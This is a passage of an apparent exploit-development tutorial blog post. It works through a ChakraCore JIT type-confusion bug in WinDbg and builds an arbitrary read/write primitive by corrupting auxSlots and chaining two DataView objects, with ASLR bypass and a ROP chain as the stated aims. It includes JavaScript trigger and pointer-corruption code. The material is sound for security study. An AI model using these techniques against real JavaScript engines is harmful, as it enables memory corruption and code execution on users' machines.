class="language-plaintext highlighter-rouge">o.a</code>), which is the <code class="language-plaintext highlighter-rouge">vftable</code> of our <code class="language-plaintext highlighter-rouge">obj</code> object. If we retrieved <code class="language-plaintext highlighter-rouge">o.b</code>, after our type confusion was executed, ChakraCore would fetch the <code class="language-plaintext highlighter-rouge">type</code> pointer.</p>

<p>Let’s inspect this in the debugger, to make more sense of this. Do not worry if this has yet to make sense. Recall from part one, the function <code class="language-plaintext highlighter-rouge">chakracore!Js::DynamicTypeHandler::AdjustSlots</code> is responsible for the type transition of our <code class="language-plaintext highlighter-rouge">o</code> property. Let’s set a breakpoint on our <code class="language-plaintext highlighter-rouge">print()</code> statement, as well as the aforementioned function so that we can examine the call stack to find the machine code (the JIT’d code) which corresponds to our <code class="language-plaintext highlighter-rouge">opt()</code> function. This is all information we learned in part one.</p>

<p><img src="/images/2typeconfusion6.png" alt="" /></p>

<p>After opening <code class="language-plaintext highlighter-rouge">ch.exe</code> and passing in <code class="language-plaintext highlighter-rouge">exploit.js</code> as the argument (the script to be executed), we set a breakpoint on <code class="language-plaintext highlighter-rouge">ch!WScriptJsrt::EchoCallback</code>. After resuming execution and hitting the breakpoint, we then can set our intended breakpoint of <code class="language-plaintext highlighter-rouge">chakracore!Js::DynamicTypeHandler::AdjustSlots</code>.</p>

<p><img src="/images/2typeconfusion7.png" alt="" /></p>

<p>When the <code class="language-plaintext highlighter-rouge">chakracore!Js::DynamicTypeHandler::AdjustSlots</code> is hit, we can examine the callstack (just like in part one) to identify our “JIT’d” <code class="language-plaintext highlighter-rouge">opt()</code> function</p>

<p><img src="/images/2typeconfusion8.png" alt="" /></p>

<p>After retrieving the address of our <code class="language-plaintext highlighter-rouge">opt()</code> function, we can unassemble the code to set a breakpoint where our type confusion vulnerability reaches the apex - on the <code class="language-plaintext highlighter-rouge">mov qword ptr [r15+10h], r11</code> instruction when <code class="language-plaintext highlighter-rouge">auxSlots</code> is overwritten.</p>

<p><img src="/images/2typeconfusion9.png" alt="" /></p>

<p>We know that <code class="language-plaintext highlighter-rouge">auxSlots</code> is stored at <code class="language-plaintext highlighter-rouge">o+0x10</code>, so this means our <code class="language-plaintext highlighter-rouge">o</code> object is currently in R15. Let’s examine the object’s layout in memory, currently.</p>

<p><img src="/images/2typeconfusion10.png" alt="" /></p>

<p>We can clearly see that this is the <code class="language-plaintext highlighter-rouge">o</code> object. Looking at the R11 register, which is the value that is going to corrupt <code class="language-plaintext highlighter-rouge">auxSlots</code> of <code class="language-plaintext highlighter-rouge">o</code>, we can see that it is the <code class="language-plaintext highlighter-rouge">obj</code> object we created earlier.</p>

<p><img src="/images/2typeconfusion11.png" alt="" /></p>

<p>Notice what happens to the <code class="language-plaintext highlighter-rouge">o</code> object, as our vulnerability manifests. When <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots</code> is corrupted, <code class="language-plaintext highlighter-rouge">o.a</code> now refers to the <code class="language-plaintext highlighter-rouge">vftable</code> property of our <code class="language-plaintext highlighter-rouge">obj</code> object.</p>

<p><img src="/images/2typeconfusion12.png" alt="" /></p>

<p>Anytime we act on <code class="language-plaintext highlighter-rouge">o.a</code>, we will now be acting on the <code class="language-plaintext highlighter-rouge">vftable</code> of <code class="language-plaintext highlighter-rouge">obj</code>! This is great, but how can we take this further? Take note that the <code class="language-plaintext highlighter-rouge">vftable</code> is actually a user-mode address that resides within <code class="language-plaintext highlighter-rouge">chakracore.dll</code>. This means, if we were able to leak a <code class="language-plaintext highlighter-rouge">vftable</code> from an object, we would bypass ASLR. Let’s see how we can possibly do this.</p>

<h2 id="dataview-objects"><code class="language-plaintext highlighter-rouge">DataView</code> Objects</h2>
<p>A popular object leveraged for exploitation is a <code class="language-plaintext highlighter-rouge">DataView</code> object. A <a href="https://github.com/chakra-core/ChakraCore/blob/master/lib/Runtime/Library/DataView.h#L9-L40"><code class="language-plaintext highlighter-rouge">DataView</code></a> object provides users a way to read/write multiple different data types and endianness to and from a raw buffer in memory, which can be created with <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"><code class="language-plaintext highlighter-rouge">ArrayBuffer</code></a>. This can include writing or retrieving an 8-byte, 16-byte, 32-byte, or (in some browsers) 64-bytes of raw data from said buffer. More information about <code class="language-plaintext highlighter-rouge">DataView</code> objects can be found <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView">here</a>, for the more interested reader.</p>

<p>At a higher level a <code class="language-plaintext highlighter-rouge">DataView</code> object provides a set of methods that allow a developer to be very <em>specific</em> about the kind of data they would like to set, or retrieve, in a buffer created by <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>. For instance, with the method <code class="language-plaintext highlighter-rouge">getUint32()</code>, provided by <code class="language-plaintext highlighter-rouge">DataView</code>, we can tell ChakraCore that we would like to retrieve the contents of the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> backing the <code class="language-plaintext highlighter-rouge">DataView</code> object as a 32-bit, unsigned data type, and even go as far as asking ChakraCore to return the value in little-endian format, and even specifying a specific offset within the buffer to read from. A list of methods provided by <code class="language-plaintext highlighter-rouge">DataView</code> can be found <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView#instance_methods">here</a>.</p>

<p>The previous information provided makes a <code class="language-plaintext highlighter-rouge">DataView</code> object <em>extremely</em> attractive, from an exploitation perspective, as not only can we set and read data from a given buffer, we can specify the data type, offset, and even endianness. More on this in a bit.</p>

<p>Moving on, a <code class="language-plaintext highlighter-rouge">DataView</code> object could be instantiated as such below:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">dataviewObj</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
</code></pre></div></div>

<p>This would essentially create a <code class="language-plaintext highlighter-rouge">DataView</code> object that is backed by a buffer, via <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>.</p>

<p>This matters greatly to us because as of now if we want to overwrite <code class="language-plaintext highlighter-rouge">auxSlots</code> with something (referring to our vulnerability), it would either have to be a raw JavaScript value, like an integer, or the address of a dynamic object like the <code class="language-plaintext highlighter-rouge">obj</code> used previously. Even if we had some primitive to leak the base address of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>, for instance, we could never actually corrupt the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer by <em>directly</em> overwriting it with the leaked address of <code class="language-plaintext highlighter-rouge">0x7fff5b3d0000</code> for instance, via our vulnerability. This is because of NaN-boxing - meaning if we try to directly overwrite the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer so that we can arbitrarily read or write from this address, ChakraCore would still “tag” this value, which would “mangle it” so that it no longer is represented in memory as <code class="language-plaintext highlighter-rouge">0x7fff5b3d0000</code>. We can clearly see this if we first update <code class="language-plaintext highlighter-rouge">exploit.js</code> to the following and pause execution when <code class="language-plaintext highlighter-rouge">auxSlots</code> is corrupted:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="mh">0x7fff5b3d0000</span><span class="p">);</span>		<span class="c1">// Instead of supplying 0x1234 or a fake object address, supply the base address of kernel32.dll</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Using the same breakpoints and method for debugging, shown in the beginning of this blog, we can locate the JIT’d address of the <code class="language-plaintext highlighter-rouge">opt()</code> function and pause execution on the instruction responsible for overwriting <code class="language-plaintext highlighter-rouge">auxSlots</code> of the <code class="language-plaintext highlighter-rouge">o</code> object (in this case <code class="language-plaintext highlighter-rouge">mov qword ptr [r15+10h], r13</code>.</p>

<p><img src="/images/2typeconfusion13.png" alt="" /></p>

<p>Notice how the value we supplied, originally <code class="language-plaintext highlighter-rouge">0x7fff5b3d0000</code> and was placed into the R13 register, has been totally mangled. This is because ChakraCore is embedding type information into the upper 17-bits of the 64-bit value (where only 32-bits technically are available to store a raw value). Obviously seeing this, we can’t directly set values for exploitation, as we need to be able to set and write 64-bit values at a time since we are exploiting a 64-bit system <em>without</em> having the address/value mangled. This means even if we can reliably leak data, we can’t write this leaked data to memory, as we have no way to avoid JavaScript NaN-boxing the value. This leaves us with the following choices:</p>
<ol>
  <li>Write a NaN-boxed value to memory</li>
  <li>Write a dynamic object to memory (which is represented by a pointer)</li>
</ol>

<p>If we chain together a few JavaScript objects, we can use the latter option shown above to corrupt a few things in memory with the addresses of objects to achieve a read/write primitive. Let’s start this process by examining how <code class="language-plaintext highlighter-rouge">DataView</code> objects behave in memory.</p>

<p>Let’s create a new JavaScript script named <code class="language-plaintext highlighter-rouge">dataview.js</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// print() debug</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Create a DataView object</span>
<span class="nx">dataviewObj</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Set data in the buffer</span>
<span class="nx">dataviewObj</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>	<span class="c1">// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify little-endian (true)</span>
</code></pre></div></div>

<p>Notice the level of control we have in respect to the amount of data, the type of data, and the offset of the data in the buffer we can set/retrieve.</p>

<p>In the above code we created a <code class="language-plaintext highlighter-rouge">DataView</code> object, which is backed by a raw memory buffer via <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>. With the <code class="language-plaintext highlighter-rouge">DataView</code> “view” of this buffer, we can tell ChakraCore to start at the beginning of the buffer, use a 32-bit, unsigned data type, and use little endian format when setting the data <code class="language-plaintext highlighter-rouge">0x41414141</code> into the buffer created by <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>. To see this in action, let’s execute this script in WinDbg.</p>

<p><img src="/images/2typeconfusion14.png" alt="" /></p>

<p>Next, let’s set our <code class="language-plaintext highlighter-rouge">print()</code> debug breakpoint on <code class="language-plaintext highlighter-rouge">ch!WScriptJsrt::EchoCallback</code>. After resuming execution, let’s then set a breakpoint on <code class="language-plaintext highlighter-rouge">chakracore!Js::DataView::EntrySetUint32</code>, which is responsible for setting a value on a <code class="language-plaintext highlighter-rouge">DataView</code> buffer. Please note I was able to find this function by searching the ChakraCore code base, which is open-sourced and available on GitHub, within <a href="https://github.com/chakra-core/ChakraCore/blob/master/lib/Runtime/Library/DataView.cpp#L533-L575"><code class="language-plaintext highlighter-rouge">DataView.cpp</code></a>, which looked to be responsible for setting values on <code class="language-plaintext highlighter-rouge">DataView</code> objects.</p>

<p><img src="/images/2typeconfusion15.png" alt="" /></p>

<p>After hitting the breakpoint on <code class="language-plaintext highlighter-rouge">chakracore!Js::DataView::EntrySetUint32</code>, we can look further into the disassembly to see a method provided by <code class="language-plaintext highlighter-rouge">DataView</code> called <code class="language-plaintext highlighter-rouge">SetValue()</code>. Let’s set a breakpoint here.</p>

<p><img src="/images/2typeconfusion16.png" alt="" /></p>

<p>After hitting the breakpoint, we can view the disassembly of this function below. We can see <em>another</em> call to a method called <code class="language-plaintext highlighter-rouge">SetValue()</code>. Let’s set a breakpoint on this function (please right click and open the below image in a new tab if you have trouble viewing).</p>

<p><img src="/images/2typeconfusion17.png" alt="" /></p>

<p>After hitting the breakpoint, we can see the source of the <code class="language-plaintext highlighter-rouge">SetValue()</code> method function we are currently in, outlined in red below.</p>

<p><img src="/images/2typeconfusion18.png" alt="" /></p>

<p>Cross-referencing this with the disassembly, we noticed right before the <code class="language-plaintext highlighter-rouge">ret</code> from this method function we see a <code class="language-plaintext highlighter-rouge">mov dword ptr [rax], ecx</code> instruction. This is an assembly operation which uses a 32-bit value to act on a 64-bit value. This is likely the operation which writes our 32-bit value to the <code class="language-plaintext highlighter-rouge">buffer</code> of the <code class="language-plaintext highlighter-rouge">DataView</code> object. We can confirm this by setting a breakpoint and verifying that, in fact, this is the responsible instruction.</p>

<p><img src="/images/2typeconfusion19.png" alt="" /></p>

<p><img src="/images/2typeconfusion20.png" alt="" /></p>

<p>We can see our <code class="language-plaintext highlighter-rouge">buffer</code> now holds <code class="language-plaintext highlighter-rouge">0x41414141</code>.</p>

<p><img src="/images/2typeconfusion21.png" alt="" /></p>

<p>This verifies that it is possible to set an arbitrary 32-bit value <em>without</em> any sort of NaN-boxing, via <code class="language-plaintext highlighter-rouge">DataView</code> objects. Also note the address of the <code class="language-plaintext highlighter-rouge">buffer</code> property of the <code class="language-plaintext highlighter-rouge">DataView</code> object, <code class="language-plaintext highlighter-rouge">0x157af16b2d0</code>. However, what about a 64-bit value? Consider the following script below, which attempts to set one 64-bit value via offsets of <code class="language-plaintext highlighter-rouge">DataView</code>.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// print() debug</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Create a DataView object</span>
<span class="nx">dataviewObj</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Set data in the buffer</span>
<span class="nx">dataviewObj</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>	<span class="c1">// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify little-endian (true)</span>
<span class="nx">dataviewObj</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>	<span class="c1">// Set, at an offset of 4 in the buffer, the value 0x41414141 and specify little-endian (true)</span>
</code></pre></div></div>

<p>Using the exact same methodology as before, we can return to our <code class="language-plaintext highlighter-rouge">mov dword ptr [rax], rcx</code> instruction which writes our data to a buffer to see that using <code class="language-plaintext highlighter-rouge">DataView</code> objects it is possible to set a value in JavaScript as a contiguous 64-bit value <em>without</em> NaN-boxing and without being restricted to just a JavaScript object address!</p>

<p><img src="/images/2typeconfusion22.png" alt="" /></p>

<p>The only thing we are “limited” to is the fact we cannot set a 64-bit value in “one go”, and we must divide our writes/reads into two tries, since we can only read/write 32-bits at a time as a result of the methods provided to use by <code class="language-plaintext highlighter-rouge">DataView</code>. However, there is currently no way for us to abuse this functionality, as we can only perform these actions inside a buffer of a <code class="language-plaintext highlighter-rouge">DataView</code> object, which is not a security vulnerability. We will eventually see how we can use our type confusion vulnerability to achieve this, later in this blog post.</p>

<p>Lastly, we know how we can act on the <code class="language-plaintext highlighter-rouge">DataView</code> object, but how do we actually view the object in memory? Where does the <code class="language-plaintext highlighter-rouge">buffer</code> property of <code class="language-plaintext highlighter-rouge">DataView</code> come from, as we saw from our debugging? We can set a breakpoint on our original function, <code class="language-plaintext highlighter-rouge">chakracore!Js::DataView::EntrySetUint32</code>. When we hit this breakpoint, we then can set a breakpoint on the <code class="language-plaintext highlighter-rouge">SetValue()</code> function, at the end of the <code class="language-plaintext highlighter-rouge">EntrySetUint32</code> function, which passes the pointer to the in-scope <code class="language-plaintext highlighter-rouge">DataView</code> object via RCX.</p>

<p><img src="/images/2typeconfusion23.png" alt="" /></p>

<p>If we examine this value in WinDbg, we can clearly see this is our <code class="language-plaintext highlighter-rouge">DataView</code> object. Notice the object layout below - this is a dynamic object, but since it is a builtin JavaScript type, the layout is slightly different.</p>

<p><img src="/images/2typeconfusion24.png" alt="" /></p>

<p>The most important thing for us to note is twofold: the <code class="language-plaintext highlighter-rouge">vftable</code> pointer still exists at the beginning of the object, and at offset <code class="language-plaintext highlighter-rouge">0x38</code> of the <code class="language-plaintext highlighter-rouge">DataView</code> object we have a pointer to the buffer. We can confirm this by setting a hardware breakpoint to pause execution anytime <code class="language-plaintext highlighter-rouge">DataView.buffer</code> is written to in a 4-byte (32-bit) boundary.</p>

<p><img src="/images/2typeconfusion25.png" alt="" /></p>

<p><img src="/images/2typeconfusion26.png" alt="" /></p>

<p>We now know where in a <code class="language-plaintext highlighter-rouge">DataView</code> object the <code class="language-plaintext highlighter-rouge">buffer</code> is stored, and can confirm how this buffer is written to, and in what manners can it be written to.</p>

<p>Let’s now chain this knowledge together with what we have previously accomplished to gain a read/write primitive.</p>

<h2 id="readwrite-primitive">Read/Write Primitive</h2>
<p>Building upon our knowledge of <code class="language-plaintext highlighter-rouge">DataView</code> objects from the “<code class="language-plaintext highlighter-rouge">DataView</code> Objects” section and armed with our knowledge from the “Chakra/ChakraCore Exploit Primitives” section, where we saw how it would be possible to control the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer with an address of <em>another</em> JavaScript object we control in memory, let’s see how we can put these two together in order to achieve a read/write primitive.</p>

<p>Let’s recall two previous images, where we corrupted our <code class="language-plaintext highlighter-rouge">o</code> object’s <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer with the address of another object, <code class="language-plaintext highlighter-rouge">obj</code>, in memory.</p>

<p><img src="/images/2typeconfusion5.png" alt="" /></p>

<p><img src="/images/2typeconfusion12.png" alt="" /></p>

<p>From the above images, we can see our current layout in memory, where <code class="language-plaintext highlighter-rouge">o.a</code> now controls the <code class="language-plaintext highlighter-rouge">vftable</code> of the <code class="language-plaintext highlighter-rouge">obj</code> object and <code class="language-plaintext highlighter-rouge">o.b</code> controls the <code class="language-plaintext highlighter-rouge">type</code> pointer of the <code class="language-plaintext highlighter-rouge">obj</code> object. But what if we had a property <code class="language-plaintext highlighter-rouge">c</code> within <code class="language-plaintext highlighter-rouge">o</code> (<code class="language-plaintext highlighter-rouge">o.c</code>)?</p>

<p><img src="/images/2typeconfusion27.png" alt="" /></p>

<p>From the above image, we can clearly see that if there was a property <code class="language-plaintext highlighter-rouge">c</code> of <code class="language-plaintext highlighter-rouge">o</code> (<code class="language-plaintext highlighter-rouge">o.c</code>), it would therefore control the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer of the <code class="language-plaintext highlighter-rouge">obj</code> object, after the type confusion vulnerability. This essentially means that we can force <code class="language-plaintext highlighter-rouge">obj</code> to point to something else in memory. This is exactly what we would like to do in our case. We would like to do the exact same thing we did with the <code class="language-plaintext highlighter-rouge">o</code> object (corrupting the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer to point to <em>another</em> object in memory that we control). Here is how we would like this to look.</p>

<p><img src="/images/2typeconfusion28.png" alt="" /></p>

<p>By setting <code class="language-plaintext highlighter-rouge">o.c</code> to a <code class="language-plaintext highlighter-rouge">DataView</code> object, we can control the entire contents of the <code class="language-plaintext highlighter-rouge">DataView</code> object by acting on the <code class="language-plaintext highlighter-rouge">obj</code> object! This is identical to the exact same scenario shown above where the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer was overwritten with the address of <em>another</em> object, but we saw we could fully control that object (<code class="language-plaintext highlighter-rouge">vftable</code> and all metadata) by acting on the corrupted object! This is because ChakraCore, again, still treats <code class="language-plaintext highlighter-rouge">auxSlots</code> as though it hasn’t been overwritten with another value. When we try to access <code class="language-plaintext highlighter-rouge">obj.a</code> in this case, ChakraCore fetches the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer stored at <code class="language-plaintext highlighter-rouge">obj+0x10</code> and then tries to index that memory at an offset of <code class="language-plaintext highlighter-rouge">0</code>. Since that is now another object in memory (in this case a <code class="language-plaintext highlighter-rouge">DataView</code> object), <code class="language-plaintext highlighter-rouge">obj.a</code> will still gladly fetch whatever is stored at an offset of <code class="language-plaintext highlighter-rouge">0</code>, which is the <code class="language-plaintext highlighter-rouge">vftable</code> for our <code class="language-plaintext highlighter-rouge">DataView</code> object! This is also the reason we declared <code class="language-plaintext highlighter-rouge">obj</code> with so many values, as a <code class="language-plaintext highlighter-rouge">DataView</code> object has a few more hidden properties than a standard dynamic object. By declaring <code class="language-plaintext highlighter-rouge">obj</code> with many properties, it allows us access to all of the needed properties of the <code class="language-plaintext highlighter-rouge">DataView</code> object, since we aren’t stopping at <code class="language-plaintext highlighter-rouge">dataview+0x10</code>, like we have been with other objects since we only cared about the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointers in those cases.</p>

<p>This is where things really start to pick up. We know that <code class="language-plaintext highlighter-rouge">DataView.buffer</code> is stored as a pointer. This can clearly be seen below by our previous investigative work on understanding <code class="language-plaintext highlighter-rouge">DataView</code> objects.</p>

<p><img src="/images/2typeconfusion24.png" alt="" /></p>

<p>In the above image, we can see that <code class="language-plaintext highlighter-rouge">DataView.buffer</code> is stored at an offset of <code class="language-plaintext highlighter-rouge">0x38</code> within the <code class="language-plaintext highlighter-rouge">DataView</code> object. In the previous image, the <code class="language-plaintext highlighter-rouge">buffer</code> is a pointer in memory which points to the memory address <code class="language-plaintext highlighter-rouge">0x1a239afb2d0</code>. This is the address of our buffer. Anytime we do <code class="language-plaintext highlighter-rouge">dataview.setUint32()</code> on our <code class="language-plaintext highlighter-rouge">DataView</code> object, this address will be updated with the contents. This can be seen below.</p>

<p><img src="/images/2typeconfusion26.png" alt="" /></p>

<p>Knowing this, what if we were able to go from this:</p>

<p><img src="/images/2typeconfusion28.png" alt="" /></p>

<p>To this:</p>

<p><img src="/images/2typeconfusion29.png" alt="" /></p>

<p>What this would mean is that <code class="language-plaintext highlighter-rouge">buffer</code> address, previously shown above, would be corrupted with the base address of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>. This means anytime we acted on our <code class="language-plaintext highlighter-rouge">DataView</code> object with a method such as <code class="language-plaintext highlighter-rouge">setUint32()</code> we would actually be overwriting the contents of <code class="language-plaintext highlighter-rouge">kernel32.dll</code> (note that there are obviously parts of a DLL that are read-only, read/write, or read/execute)! This is also known as an arbitrary write primitive! If we have the ability to leak data, we can obviously use our <code class="language-plaintext highlighter-rouge">DataView</code> object with the builtin methods to read and write from the corrupted <code class="language-plaintext highlighter-rouge">buffer</code> pointer, and we can obviously use our type confusion (as we have done by corrupted <code class="language-plaintext highlighter-rouge">auxSlots</code> pointers so far) to corrupt this <code class="language-plaintext highlighter-rouge">buffer</code> pointer with whatever memory address we want! The issue that remains, however, is the NaN-boxing dilemma.</p>

<p>As we can see in the above image, we can overwrite the <code class="language-plaintext highlighter-rouge">buffer</code> pointer of a <code class="language-plaintext highlighter-rouge">DataView</code> object by using the <code class="language-plaintext highlighter-rouge">obj.h</code> property. However, as we saw in JavaScript, if we try to set a value on an object such as <code class="language-plaintext highlighter-rouge">obj.h = kernel32_base_address</code>, our value will remain mangled. The only way we can get around this is through our <code class="language-plaintext highlighter-rouge">DataView</code> object, which can write raw 64-bit values.</p>

<p>The way we will actually address the above issue is to leverage <em>two</em> <code class="language-plaintext highlighter-rouge">DataView</code> objects! Here is how this will look in memory.</p>

<p><img src="/images/2typeconfusion30.png" alt="" /></p>

<p>The above image may look confusing, so let’s break this down and also examine what we are seeing in the debugger.</p>

<p>This memory layout is no different than the others we have discussed. There is a type confusion vulnerability where the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer for our <code class="language-plaintext highlighter-rouge">o</code> object is actually the address of an <code class="language-plaintext highlighter-rouge">obj</code> object we control in memory. ChakraCore interprets this object as an <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer, and we can use property <code class="language-plaintext highlighter-rouge">o.c</code>, which would be the third index into the <code class="language-plaintext highlighter-rouge">auxSlots</code> array had it not been corrupted. This entry in the <code class="language-plaintext highlighter-rouge">auxSlots</code> array is stored at <code class="language-plaintext highlighter-rouge">auxSlots+0x10</code>, and since <code class="language-plaintext highlighter-rouge">auxSlots</code> is <em>really</em> another object, this allows us to overwrite the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer of the <code class="language-plaintext highlighter-rouge">obj</code> object with a JavaScript object.</p>

<p>We overwrite the <code class="language-plaintext highlighter-rouge">auxSlots</code> array of the <code class="language-plaintext highlighter-rouge">obj</code> object we created, which has many properties. This is because <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> was overwritten with a <code class="language-plaintext highlighter-rouge">DataView</code> object, which has many hidden properties, including a <code class="language-plaintext highlighter-rouge">buffer</code> property. Having <code class="language-plaintext highlighter-rouge">obj</code> declared with so many properties allows us to overwrite said hidden properties, such as the <code class="language-plaintext highlighter-rouge">buffer</code> pointer, which is stored at an offset of <code class="language-plaintext highlighter-rouge">0x38</code> within a <code class="language-plaintext highlighter-rouge">DataView</code> object. Since <code class="language-plaintext highlighter-rouge">dataview1</code> is being interpreted as an <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer, we can use <code class="language-plaintext highlighter-rouge">obj</code> (which previously would have been stored in this array) to have full access to overwrite any of the hidden properties of the <code class="language-plaintext highlighter-rouge">dataview1</code> object. We want to set this <code class="language-plaintext highlighter-rouge">buffer</code> to an address we want to arbitrarily write to (like the stack for instance, to invoke a ROP chain). However, since JavaScript prevents us from setting <code class="language-plaintext highlighter-rouge">obj.h</code> with a raw 64-bit address, due to NaN-boxing, we have to overwrite this <code class="language-plaintext highlighter-rouge">buffer</code> with <em>another</em> JavaScript object address. Since <code class="language-plaintext highlighter-rouge">DataView</code> objects expose methods that can allow us to write a raw 64-bit value, we overwrite the <code class="language-plaintext highlighter-rouge">buffer</code> of the <code class="language-plaintext highlighter-rouge">dataview1</code> object with the address of <em>another</em> <code class="language-plaintext highlighter-rouge">DataView</code> object.</p>

<p>Again, we opt for this method because we know <code class="language-plaintext highlighter-rouge">obj.h</code> is the property we could update which would overwrite <code class="language-plaintext highlighter-rouge">dataview1-&gt;buffer</code>. However, JavaScript won’t let us set a raw 64-bit value which we can use to read/write memory from to bypass ASLR and write to the stack and hijack control-flow. Because of this, we overwrite it with <em>another</em> <code class="language-plaintext highlighter-rouge">DataView</code> object.</p>

<p>Because <code class="language-plaintext highlighter-rouge">dataview1-&gt;buffer = dataview2</code>, we can now use the methods exposed by <code class="language-plaintext highlighter-rouge">DataView</code> (via our <code class="language-plaintext highlighter-rouge">dataview1</code> object) to write to the <code class="language-plaintext highlighter-rouge">dataview2</code> object’s <code class="language-plaintext highlighter-rouge">buffer</code> property with a raw 64-bit address! This is because methods like <code class="language-plaintext highlighter-rouge">setUint32()</code>, which we previously saw, allow us to do so! We also know that <code class="language-plaintext highlighter-rouge">buffer</code> is stored at an offset of <code class="language-plaintext highlighter-rouge">0x38</code> within a <code class="language-plaintext highlighter-rouge">DataView</code> object, so if we execute the following JavaScript, we can update <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> to whatever raw 64-bit value we want to read/write from:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Recall we can only set 32-bits at a time</span>
<span class="c1">// Start with 0x38 (dataview2-&gt;buffer and write 4 bytes</span>
<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// Overwrite dataview2-&gt;buffer with 0x41414141</span>

<span class="c1">// Overwrite the next 4 bytes (0x3C offset into dataview2) to fully corrupt bytes 0x38-0x40 (the pointer for dataview2-&gt;buffer)</span>
